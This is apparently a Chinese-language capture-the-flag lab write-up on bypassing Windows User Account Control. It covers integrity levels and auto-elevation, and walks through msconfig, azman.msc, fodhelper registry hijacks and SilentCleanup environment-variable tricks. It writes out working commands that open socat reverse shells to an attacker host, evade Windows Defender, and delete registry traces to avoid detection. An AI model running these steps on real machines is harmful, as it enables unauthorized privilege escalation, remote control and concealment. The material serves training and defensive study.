Introduction

在这个房间中,我们将研究绕过 Windows 系统可用的安全功能(称为**用户帐户控制 (UAC)**)的常见方法。此功能允许任何进程以低权限运行,无论运行它的人是谁(普通用户或管理员)。

从攻击者的角度来看,绕过 UAC 对于突破高度限制的环境并完全提升目标主机上的权限至关重要。在学习绕过技术的同时,我们还将研究可能触发的任何警报以及可能在目标系统上创建的蓝队可以检测到的工件。

房间目标

  • 了解攻击者可以绕过 UAC 的不同技术。

房间先决条件

建议在进入这个房间之前先浏览 Windows Internals

User Account Control (UAC)

什么是 UAC?

用户帐户控制 (UAC) 是一项 Windows 安全功能,默认情况下强制任何新进程在非特权帐户的安全上下文中运行。此策略适用于任何用户启动的进程,包括管理员自己。这个想法是,我们不能仅仅依靠用户的身份来确定是否应该授权某些操作。

虽然这似乎违反直觉,但想象一下用户 BOB 在不知情的情况下从互联网下载恶意应用程序的情况。如果 BOB 是管理员组的一部分,他启动的任何应用程序都将继承其访问令牌权限。因此,如果 BOB 决定启动恶意应用程序并且 UAC 被禁用,恶意应用程序将立即获得管理员权限。相反,当 UAC 启用时,恶意应用程序将被限制为非管理访问令牌。

UAC 提升

如果需要管理员执行特权任务,UAC 提供了一种提升权限的方法。 Elevation 的工作原理是向用户显示一个简单的对话框,以确认他们明确同意在管理安全上下文中运行该应用程序:

img

完整性级别

UAC 是一种**强制完整性控制 (MIC),它是一种通过为每个用户、进程和资源分配完整性级别 (IL)**来区分用户、进程和资源的机制。一般来说,具有较高 IL 访问令牌的用户或进程将能够访问具有较低或相同 IL 的资源。MIC 优先于常规 Windows DACL,因此您可能被授权根据 DACL 访问资源,但如果您的 IL 不够高,这也无济于事。

Windows 使用以下 4 个 IL,从低到高排序:

完整性级别 使用
通常用于与 Internet 交互(即 Internet Explorer)。权限非常有限。
分配给标准用户和管理员的过滤令牌。
如果启用了 UAC,则由管理员的提升令牌使用。如果禁用了 UAC,则所有管理员将始终使用高 IL 令牌。
系统 保留供系统使用。

当进程需要访问资源时,它将继承调用用户的访问令牌及其关联的 IL。如果进程分叉子进程,也会发生同样的情况。

过滤令牌

为了实现角色分离,UAC 在登录期间以略有不同的方式对待普通用户和管理员:

  • 非管理员登录后将收到一个访问令牌,该令牌将用于用户执行的所有任务。此令牌具有中等 IL。

  • 管理员

将收到两个访问令牌:

  • 过滤令牌:剥夺管理员权限的令牌,用于常规操作。此令牌具有中等 IL。

  • 提升令牌:具有完全管理员权限的令牌,当需要以管理权限运行某些操作时使用。此令牌具有高 IL。

这样,除非管理员通过 UAC 明确请求管理权限,否则他们将使用其过滤后的令牌。

以常规方式打开应用程序

尝试打开常规控制台时,我们可以以非特权用户或管理员身份打开它。根据我们的选择,将为生成的进程分配中或高完整性级别令牌:

img

如果我们使用 Process Hacker 分析这两个进程,我们可以看到相关的标记及其差异:

img

在左侧,您有一个过滤后的令牌,其 IL 为中等,且几乎没有分配任何权限。在右侧,您可以看到该进程以高 IL 运行,并且具有更多可用权限。另一个可能不太明显的区别是,中等 IL 进程实际上被拒绝了与成为管理员组一部分相关的任何权限。

UAC 设置

根据我们的安全要求,UAC 可以配置为在四个不同的通知级别运行:

  • 始终通知:在更改 Windows 设置或程序尝试安装应用程序或更改计算机时通知并提示用户授权。
  • 仅当程序尝试更改我的计算机时通知我:在程序尝试安装应用程序或更改计算机时通知并提示用户授权。更改 Windows 设置时不会提示管理员。
  • 仅当程序尝试更改我的计算机时通知我(不要使我的桌面变暗):与上面相同,但不会在安全桌面上运行 UAC 提示。
  • 从不通知:禁用 UAC 提示。管理员将使用高权限令牌运行所有内容。

默认情况下,UAC 配置为仅当程序尝试更改我的计算机时才通知我级别:

img

从攻击者的角度来看,三个较低的安全级别是等效的,只有“始终通知”设置存在差异。

UAC 内部

UAC 的核心是 应用程序信息服务Appinfo。每当用户需要提升权限时,都会发生以下情况:

  1. 用户请求以管理员身份运行应用程序。
  2. 使用 runas 动词进行 ShellExecute API 调用。
  3. 请求转发到 Appinfo 以处理提升权限。
  4. 检查应用程序清单以查看是否允许自动提升权限(稍后会详细介绍)。
  5. Appinfo 执行 consent.exe,在 安全桌面 上显示 UAC 提示。安全桌面只是一个单独的桌面,它将进程与实际用户桌面中正在运行的任何进程隔离开来,以避免其他进程以任何方式篡改 UAC 提示。
  6. 如果用户同意以管理员身份运行该应用程序,Appinfo 服务将使用用户的提升令牌执行请求。然后,Appinfo 将设置新进程的父进程 ID,以指向请求提升权限的 shell。

img

Bypassing UAC

从攻击者的角度来看,可能存在通过 Powershell 或 cmd.exe 获取 Windows 主机远程 shell 的情况。您甚至可能通过属于管理员组的帐户获得访问权限,但当您尝试创建后门用户以供将来访问时,您会收到以下错误:

Powershell

PS C:\Users\attacker> net user backdoor Backd00r /add
System error 5 has occurred.

Access is denied.

通过检查我们分配的组,我们可以确认我们的会话正在以中等 IL 运行,这意味着我们正在有效地使用过滤令牌:

Powershell

PS C:\Users\attacker> whoami /groups

GROUP INFORMATION
-----------------

Group Name Attributes
============================================================= ==================================================
Everyone Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account and member of Administrators group Group used for deny only
BUILTIN\Administrators Group used for deny only
BUILTIN\Users Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\REMOTE INTERACTIVE LOGON Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Mandatory group, Enabled by default, Enabled group
LOCAL Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level

即使我们与管理员用户建立 Powershell 会话,UAC 也会阻止我们执行任何管理任务,因为我们当前仅使用经过过滤的令牌。如果我们想完全控制目标,就必须绕过 UAC。

有趣的是,微软并不认为 UAC 是安全边界,而只是为管理员提供的一种简单便利,以避免不必要地以管理权限运行进程。从这个意义上讲,UAC 提示更像是提醒用户他们正在以高权限运行,而不是阻止恶意软件或攻击者这样做。由于它不是安全边界,因此任何绕过技术都不会被视为微软的漏洞,因此其中一些至今仍未修补。

一般来说,大多数绕过技术都依赖于我们能够利用高 IL 进程代表我们执行某些操作。由于由高 IL 父进程创建的任何进程都将继承相同的完整性级别,因此这足以获得提升的令牌,而无需我们通过 UAC 提示。

对于本房间中介绍的所有场景,我们假设我们可以使用管理员帐户访问服务器,但只能从中级 IL 控制台访问。我们的目标始终是无需通过 UAC 即可访问高级 IL 控制台。

UAC: GUI based bypasses

我们将首先介绍基于 GUI 的绕过方法,因为它们提供了一种简单方法来理解所涉及的基本概念。这些示例通常不适用于现实世界的场景,因为它们依赖于我们访问图形会话,从那里我们可以使用标准 UAC 来提升权限。

案例研究:msconfig
我们的目标是在不通过 UAC 的情况下访问高 IL 命令提示符。首先,让我们从开始菜单或“运行”对话框打开 msconfig:

如果我们使用 Process Hacker(可在桌面上使用)分析 msconfig 进程,我们会注意到一些有趣的事情。即使没有 UAC 提示符出现,msconfig 也会作为高 IL 进程运行:

这要归功于一项名为自动提升的功能,该功能允许特定二进制文件提升权限而无需用户交互。稍后将详细介绍这一点。

如果我们可以强制 msconfig 为我们生成一个 shell,该 shell 将继承 msconfig 使用的相同访问令牌,因此将作为高 IL 进程运行。通过导航到“工具”选项卡,我们可以找到一个选项来执行此操作:

如果我们单击“启动”,我们将获得高 IL 命令提示符,而无需以任何方式与 UAC 交互。

案例研究:azman.msc

与 msconfig 一样,azman.msc 将自动提升而无需用户交互。如果我们能找到一种方法从该进程中生成 shell,我们将绕过 UAC。请注意,与 msconfig 不同,azman.msc 没有内置的生成 shell 的方法。我们可以通过一点创造力轻松克服这个问题。

首先,让我们运行 azman.msc:

我们可以确认使用 Process Hacker 生成了一个具有高 IL 的进程。请注意,所有 .msc 文件都是从 mmc.exe(Microsoft 管理控制台)运行的:

要运行 shell,我们将滥用应用程序的帮助:

在帮助屏幕上,我们右键单击帮助文章的任何部分并选择查看源代码:

这将生成一个记事本进程,我们可以利用它来获取 shell。为此,请转到文件->打开,并确保在右下角的组合框中选择所有文件。转到 C:\Windows\System32 并搜索 cmd.exe,然后右键单击以选择打开:

这将再次绕过 UAC,让我们能够访问高完整性命令提示符。您可以检查 Process Hacker 中的进程树,以查看高完整性令牌如何从 mmc(通过 Azman 启动的 Microsoft 管理控制台)传递到 cmd.exe:

UAC: Auto-Elevating Processes

AutoElevate

如前所述,一些可执行文件可以自动提升,无需任何用户干预即可实现高 IL。这适用于控制面板的大多数功能和 Windows 提供的一些可执行文件。

对于应用程序,需要满足一些要求才能自动提升:

  • 可执行文件必须由 Windows 发布者签名
  • 可执行文件必须包含在受信任的目录中,如“%SystemRoot%/System32/”或“%ProgramFiles%/”

根据应用程序的类型,可能适用其他要求:

  • 可执行文件 (.exe) 必须在其清单中声明 autoElevate 元素。要检查文件的清单,我们可以使用 **sigcheck**,这是 Sysinternals 套件的一部分提供的工具。您可以在计算机上的“C:\tools\”上找到 sigcheck 的副本。如果我们检查 msconfig.exe 的清单,我们会发现 autoElevate 属性:

Command Prompt

C:\tools\> sigcheck64.exe -m c:/windows/system32/msconfig.exe
...
<asmv3:application>
<asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
<dpiAware>true</dpiAware>
<autoElevate>true</autoElevate>
</asmv3:windowsSettings>
</asmv3:application>
  • mmc.exe 将根据用户请求的 .msc 管理单元自动提升权限。Windows 中包含的大多数 .msc 文件都将自动提升权限。
  • Windows 保留了一份额外的可执行文件列表,这些文件即使在清单中未请求时也会自动提升权限。例如,此列表包括 pkgmgr.exe 和 spinstall.exe。
  • COM 对象还可以通过配置一些注册表项来请求自动提升权限(https://docs.microsoft.com/en-us/windows/win32/com/the-com-elevation-moniker)。

Case study: Fodhelper

Fodhelper.exe 是 Windows 默认可执行文件之一,负责管理 Windows 可选功能,包括附加语言、默认未安装的应用程序或其他操作系统特性。与大多数用于系统配置的程序一样,fodhelper 可以在使用默认 UAC 设置时自动提升权限,这样管理员在执行标准管理任务时就不会被提示提升权限。虽然我们已经看过 autoElevate 可执行文件,但与 msconfig 不同,fodhelper 可能会在无法访问 GUI 的情况下被滥用。

img

从攻击者的角度来看,这意味着它可以通过中等完整性远程 shell 来使用,并利用到功能齐全的高完整性进程中。这种特殊技术是由 @winscripting 发现的,并且已被 Glupteba 恶意软件 广泛使用。

关于 fodhelper 的值得注意的地方是,它会在注册表中搜索感兴趣的特定键:

img

当 Windows 打开文件时,它会检查注册表以了解要使用哪个应用程序。注册表为每种文件类型保存一个称为程序 ID (ProgID) 的键,其中与相应的应用程序相关联。假设您尝试打开一个 HTML 文件。将检查注册表中称为 HKEY_CLASSES_ROOT 的一部分,以便系统知道它必须使用您首选的 Web 客户端来打开它。要使用的命令将在每个文件的 ProgID 的 shell/open/command 子键下指定。以“htmlfile”ProgID 为例:

img

实际上,HKEY_CLASSES_ROOT 只是注册表中两个不同路径的合并视图:

路径 描述
HKEY_LOCAL_MACHINE\Software\Classes 系统范围的文件关联
HKEY_CURRENT_USER\Software\Classes 活动用户的文件关联

检查 HKEY_CLASSES_ROOT 时,如果 HKEY_CURRENT_USER (HKCU) 处有用户特定关联,则该关联将优先。如果没有配置用户特定关联,则将使用 HKEY_LOCAL_MACHINE (HKLM) 处的系统范围关联。这样,每个用户可以根据需要分别选择他们喜欢的应用程序。

回到 fodhelper,我们现在看到它正在尝试打开 ms-settings ProgID 下的文件。通过在 HKCU 下当前用户上下文中为该 ProgID 创建关联,我们将覆盖默认的系统范围关联,从而控制使用哪个命令来打开文件。由于 fodhelper 是 autoElevate 可执行文件,因此它生成的任何子进程都将继承高完整性令牌,从而有效地绕过 UAC。

Putting it all together

我们的一名特工已在目标服务器上植入后门,以方便您使用。他设法在管理员组中创建了一个帐户,但 UAC 阻止了任何特权任务的执行。要检索该标志,他需要您绕过 UAC 并获得功能齐全的高 IL shell。

要连接到后门,您可以使用以下命令:

nc 10.10.34.0 9999

一旦连接,我们将检查我们的用户是否属于管理员组,以及它是否使用中等完整性令牌运行:

Attacker’s Shell

user@kali$ nc 10.10.34.0 9999
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
myserver\attacker

C:\Windows\system32>net user attacker | find "Local Group"
Local Group Memberships *Administrators *Users

C:\Windows\system32>whoami /groups | find "Label"
Mandatory Label\Medium Mandatory Level Label S-1-16-8192

我们设置所需的注册表值,以将 ms-settings 类与反向 shell 关联起来。为方便起见,可以在 c:\tools\socat\ 上找到 socat 的副本。您可以使用以下命令从标准命令行设置所需的注册表项:

Command Prompt

C:\> set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command
C:\> set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:<attacker_ip>:4444 EXEC:cmd.exe,pipes"

C:\> reg add %REG_KEY% /v "DelegateExecute" /d "" /f
The operation completed successfully.

C:\> reg add %REG_KEY% /d %CMD% /f
The operation completed successfully.

请注意,我们需要创建一个名为 DelegateExecute 的空值才能使类关联生效。如果不存在此注册表值,操作系统将忽略该命令并改用系统范围的类关联。

我们在机器中使用 netcat 设置了一个监听器:

nc -lvp 4444

然后继续执行 fodhelper.exe,这反过来会触发我们的反向 shell 的执行:

命令提示符C:\> fodhelper.exe user@kali**$** nc -lvp 4444 Listening on 0.0.0.0 4444 Connection received on 10.10.183.127 49813 Microsoft Windows [Version 10.0.17763.1821] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami /groups | find “Label” Mandatory Label\High Mandatory Level Label S-1-16-12288

收到的 shell 以高完整性运行,表明我们已成功绕过 UAC。

要检索 fodhelper 标志,请使用新的 shell 执行:

Administrator: Command Prompt

清除我们的踪迹

执行此漏洞后,在目标系统上以注册表项的形式创建了一些工件。为了避免被发现,我们需要使用以下命令进行清理:

reg delete HKCU\Software\Classes\ms-settings\ /f

Note: Be sure to execute the given command to avoid any artefact interfering with the following tasks.

UAC: Improving the Fodhelper Exploit to Bypass Windows Defender

Windows Defender
为简单起见,我们针对的机器已禁用 Windows Defender。但如果启用它会发生什么?

首先,使用您的 GUI 连接,转到您的桌面并双击以下图标以启用 Windows Defender:

现在尝试通过后门连接再次利用 fodhelper,看看服务器的 GUI 上发生了什么。当你更改 HKCU\Software\Classes\ms-settings\Shell\Open\command 中的(默认)值以插入反向 shell 命令时,Windows Defender 通知会弹出:

通过单击通知,我们可以检查警报的详细信息,其中提到通过修改注册表值来绕过 UAC 的尝试:

如果您查询注册表中的相应值,您会注意到它已被删除:

虽然现在看来我们的漏洞在启用 Windows Defender 的情况下不起作用,但请检查如果您运行相同的命令但稍作修改(请务必在需要时替换您的 IP 地址),会发生什么情况:

Command Prompt

C:\> set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command
C:\> set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:<attacker_ip>:4444 EXEC:cmd.exe,pipes"

C:\> reg add %REG_KEY% /v "DelegateExecute" /d "" /f
The operation completed successfully.

C:\> reg add %REG_KEY% /d %CMD% /f & reg query %REG_KEY%
HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command
DelegateExecute REG_SZ
(Default) REG_SZ powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:<attacker_ip>:4444 EXEC:cmd.exe,pipes

在将有问题的注册表值设置为反向 shell 所需的命令后,我们立即添加了一个快速查询。令人惊讶的是,查询输出的命令完好无损。我们仍然会收到 Windows Defender 的警报,一秒钟后,有问题的注册表值按预期被删除。看来 Windows Defender 需要一点时间才能对我们的漏洞采取行动,所以让我们在攻击者的机器上设置一个反向侦听器:

nc -lvp 4444

并修改漏洞以在设置注册表值后立即运行 fodhelper.exe。如果命令运行得足够快,它就会起作用(请确保在需要时替换您的 IP 地址):

Command Prompt

C:\> set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command
C:\> set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:<attacker_ip>:4444 EXEC:cmd.exe,pipes"

C:\> reg add %REG_KEY% /v "DelegateExecute" /d "" /f
The operation completed successfully.

C:\> reg add %REG_KEY% /d %CMD% /f & fodhelper.exe

根据你的运气,fodhelper 可能会在 AV 启动之前执行,从而返回一个反向 shell。如果出于某种原因它对你不起作用,请记住这种方法不可靠,因为它取决于 AV 和你的有效载荷之间的竞争,谁先执行。如果反向 shell 不起作用,请继续进行房间的其余部分,因为下面将提供绕过 Windows Defender 的更一致的方法。

Attacker’s Shell

user@kali$ nc -lvp 4444      
Listening on 0.0.0.0 4444
Connection received on 10.10.183.127 49813
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami /groups | find "Label"
Mandatory Label\High Mandatory Level Label S-1-16-12288

然而,Windows Defender 仍会发出有关绕过的警报。我们当前漏洞的问题是,它几乎没有变化的空间,因为我们需要编写特定的注册表项来触发它,这使得 Windows Defender 很容易检测到它。但仍然有一些事情要做。

Improving the fodhelper exploit

@V3ded 提出了 fodhelper 漏洞利用的一个变体,其中使用了不同的注册表项,但基本原理是相同的。

我们不会将有效载荷写入 HKCU\Software\Classes\ms-settings\Shell\Open\command,而是使用 progID 注册表项下的 CurVer 条目。当您在同一系统上运行具有不同版本的多个应用程序实例时,将使用此条目。CurVer 允许您指向 Windows 在打开给定文件类型时要使用的应用程序的默认版本。

为此,我们将在注册表中为我们选择的新 progID 创建一个条目(任何名称都可以),然后将 ms-settings progID 中的 CurVer 条目指向我们新创建的 progID。这样,当 fodhelper 尝试使用 ms-settings progID 打开文件时,它会注意到指向我们新 progID 的 CurVer 条目并检查它以查看要使用什么命令。

@V3ded 提出的漏洞利用代码使用 Powershell 来实现此目的。以下是适合使用我们的反向 shell 的修改版本(请确保在需要时替换你的 IP 地址):

$program = "powershell -windowstyle hidden C:\tools\socat\socat.exe TCP:<attacker_ip>:4445 EXEC:cmd.exe,pipes"

New-Item "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Force
Set-ItemProperty "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Name "(default)" -Value $program -Force

New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -value ".pwn" -Force

Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

此漏洞利用创建了一个名为 .pwn 的新 progID,并将我们的有效载荷与打开此类文件时使用的命令相关联。然后,它将 ms-settings 的 CurVer 条目指向我们的 .pwn progID。当 fodhelper 尝试打开 ms-settings 程序时,它将指向 .pwn progID 并使用其关联命令。

这种技术更有可能逃避 Windows Defender,因为我们可以更自由地放置我们的有效载荷,因为保存我们有效载荷的 progID 的名称完全是任意的。让我们在攻击者的机器上启动一个新的反向 shell:

nc -lvp 4445

并从我们的后门连接执行漏洞利用。结果,Windows Defender 将抛出另一个引用我们操作的警报:

虽然我们仍然被检测到,但必须注意的是,有时 AV 软件使用的检测方法是严格针对已发布的漏洞实施的,而不考虑可能的变化。如果我们将漏洞从 Powershell 转换为使用 cmd.exe,AV 将不会发出任何警报(请确保在需要时替换您的 IP 地址):

Command Prompt

C:\> set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:<attacker_ip>:4445 EXEC:cmd.exe,pipes"

C:\> reg add "HKCU\Software\Classes\.thm\Shell\Open\command" /d %CMD% /f
The operation completed successfully.

C:\> reg add "HKCU\Software\Classes\ms-settings\CurVer" /d ".thm" /f
The operation completed successfully.

C:\> fodhelper.exe

我们得到了一个高完整性的反向shell:

Attacker’s Shell

user@kali$ nc -lvp 4445      
Listening on 0.0.0.0 4445
Connection received on 10.10.183.127 23441
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami /groups | find "Label"
Mandatory Label\High Mandatory Level Label S-1-16-12288

清除我们的踪迹
执行此漏洞后,在目标系统上创建了一些伪像,例如注册表项。为了避免被发现,我们需要使用以下命令进行清理:

reg delete "HKCU\Software\Classes\.thm\" /f
reg delete "HKCU\Software\Classes\ms-settings\" /f

注意:请务必执行给定的命令,以避免任何伪像干扰以下任务。

UAC: Environment Variable Expansion

Bypassing Always Notify

如上一个任务所示,在默认的 Windows 配置下,您可以滥用与系统配置相关的应用程序来绕过 UAC,因为大多数这些应用程序在其清单上都设置了 autoElevate 标志。但是,如果 UAC 配置为“始终通知”级别,fodhelper 和类似的应用程序将毫无用处,因为它们将要求用户通过 UAC 提示来提升权限。这将阻止使用几种已知的绕过方法,但并非一切都失去了希望。

对于以下技术,我们将滥用任何用户可以运行但将以调用者可用的最高权限执行的计划任务。计划任务是一个令人兴奋的目标。根据设计,它们旨在在没有任何用户交互的情况下运行(独立于 UAC 安全级别),因此要求用户手动提升进程不是一个选项。任何需要提升权限的计划任务都将自动获得提升,而无需通过 UAC 提示。

Case study: Disk Cleanup Scheduled Task

注意:请务必为此任务禁用 Windows Defender,否则在运行漏洞利用时可能会遇到一些困难。只需在计算机桌面上运行提供的快捷方式即可禁用它。

要了解我们为什么选择磁盘清理,让我们打开任务计划程序并检查任务的配置:

在这里我们可以看到,该任务配置为使用用户帐户运行,这意味着它将从调用用户那里继承权限。使用最高权限运行选项将使用调用用户可用的最高权限安全令牌,即管理员的高 IL 令牌。请注意,如果普通非管理员用户调用此任务,它将仅使用中等 IL 执行,因为这是非管理员可用的最高权限令牌,因此绕过将不起作用。

检查操作和设置选项卡,我们有以下内容:

该任务可以按需运行,调用时执行以下命令:

%windir%\system32\cleanmgr.exe /autoclean /d %systemdrive%

由于该命令依赖于环境变量,我们可能能够通过它们注入命令并通过手动启动 DiskCleanup 任务来执行它们。

幸运的是,我们可以通过在 HKCU\Environment 中创建一个条目来通过注册表覆盖 %windir% 变量。如果我们想使用 socat 执行反向 shell,我们可以按如下方式设置 %windir%(不带引号):

"cmd.exe /c C:\tools\socat\socat.exe TCP:<attacker_ip>:4445 EXEC:cmd.exe,pipes &REM "

在命令末尾,我们连接“&REM”(以空格结尾)来注释在扩展环境变量时放置在 %windir% 后面的任何内容,以获取 DiskCleanup 使用的最终命令。生成的命令将是(请务必在需要时替换您的 IP 地址):

cmd.exe /c C:\tools\socat\socat.exe TCP:<attacker_ip>:4445 EXEC:cmd.exe,pipes &REM \system32\cleanmgr.exe /autoclean /d %systemdrive%

“REM” 之后的任何内容都会被忽略作为注释。

Putting it all together

让我们用 nc 设置一个反向 shell 的监听器:

nc -lvp 4446

然后我们将连接到端口 9999 上提供的后门:

nc 10.10.49.30 9999

最后,运行以下命令将我们的有效负载写入 %windir%,然后执行 DiskCleanup 任务(确保在需要时替换您的 IP 地址):

Command Prompt

C:\> reg add "HKCU\Environment" /v "windir" /d "cmd.exe /c C:\tools\socat\socat.exe TCP:<attacker_ip>:4446 EXEC:cmd.exe,pipes &REM " /f

C:\> schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I

结果你应该会获得一个具有高 IL 的 shell:

Attacker’s Machine

user@kali$ nc -lvp 4446      
Listening on 0.0.0.0 4446
Connection received on 10.10.183.127 25631
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami /groups | find "Label"
Mandatory Label\High Mandatory Level Label S-1-16-12288

Clearing our tracks

执行此漏洞利用后,目标系统上会创建一些文件,例如注册表项。为了避免被发现,我们需要使用以下命令进行清理:

reg delete "HKCU\Environment" /v "windir" /f

注意:请务必执行给定的命令,以避免任何干扰以下任务的伪像。由于许多 Windows 组件依赖于 %windir% 环境变量,因此除非您删除用于此绕过的注册表项,否则很多事情都无法正常工作。

Automated Exploitation

自动执行 UAC 绕过

现在有一款出色的工具可用于测试 UAC 绕过,而无需从头开始编写漏洞利用程序。由 @hfiref0x 创建的 UACME 提供了最新的 UAC 绕过技术存储库,可立即使用。该工具可在其官方存储库下载:

https://github.com/hfiref0x/UACME

虽然 UACME 提供了多种工具,但我们将主要关注名为 Akagi 的工具,它运行实际的 UAC 绕过。您可以在“C:\tools\UACME-Akagi64.exe”下找到 Akagi 的编译版本。

使用该工具非常简单,只需要您指明要测试的方法对应的编号。项目 GitHub 描述中提供了完整的方法列表。如果您想测试方法 33,可以从命令提示符执行以下操作,然后会弹出一个高完整性的 cmd.exe:

Command Prompt

Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\attacker>cd /tools

C:\tools>UACME-Akagi64.exe 33

通过此房间介绍的方法也可以通过 UACME 使用以下方法进行测试:

Method Id Bypass technique
33 fodhelper.exe
34 DiskCleanup scheduled task
70 fodhelper.exe using CurVer registry key

Conclusion

我们在这个房间里展示了几种绕过 Windows 系统中 UAC 的方法。虽然这些方法中的大多数都与自动工具相关联,但如果直接使用,它们将被市场上的任何 AV 解决方案轻松检测到。了解实际方法将使您作为攻击者具有优势,因为您可以根据需要自定义漏洞并使其更具规避性。

正如我们所见,UAC 不被视为安全边界,因此容易受到多种绕过方法的影响。

如果您有兴趣了解更多技术,可以使用以下资源: